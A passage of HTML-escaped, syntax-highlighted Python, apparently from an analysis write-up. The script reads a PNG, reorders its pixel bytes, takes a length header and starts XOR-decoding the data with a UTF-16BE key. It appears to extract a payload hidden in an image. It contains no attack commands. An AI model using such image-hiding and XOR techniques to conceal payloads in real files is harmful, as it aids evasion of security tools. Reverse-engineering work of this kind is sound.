&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;plain_key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;utf-16be&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_len&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Key: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Key len: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### Load PNG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bmp_full_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;png&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filename&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_full_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### Reverse Start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;output_array&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Loading Image data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;IMG height: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;Row: &amp;#34;, i, len(bmp_img_data[i]), end=&amp;#39;&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;])&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (row_count, &amp;#34; &amp;#34;, end=&amp;#34;&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;c1&#34;&gt;# AARRGGBB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;R&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;    &lt;span class=&#34;c1&#34;&gt;# 05&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;G&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;B&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;A&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bmp_img_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;B&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;G&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;R&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;		&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;n&#34;&gt;row_count&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;c1&#34;&gt;#print (&amp;#34;.. row loaded&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1st bytes&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;first_bytes_value&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;struct&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;unpack&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;lt;I&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;##&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#### XOR_DEC Start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Data Length: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;data_array&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Pre XORed data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;print_list&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;test-prexor.bin&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;outfile&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;XORing Image data&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# below is either B5 or 00 ^ 112&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xb5&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;112&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# 0xc5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#key_modifier = decode_data[len(decode_data)-1] ^ 112&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#key_modifier = 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;hex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]),&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key_modifier&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;key_counter&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;xor_i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;len&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)):&lt;/span&gt;
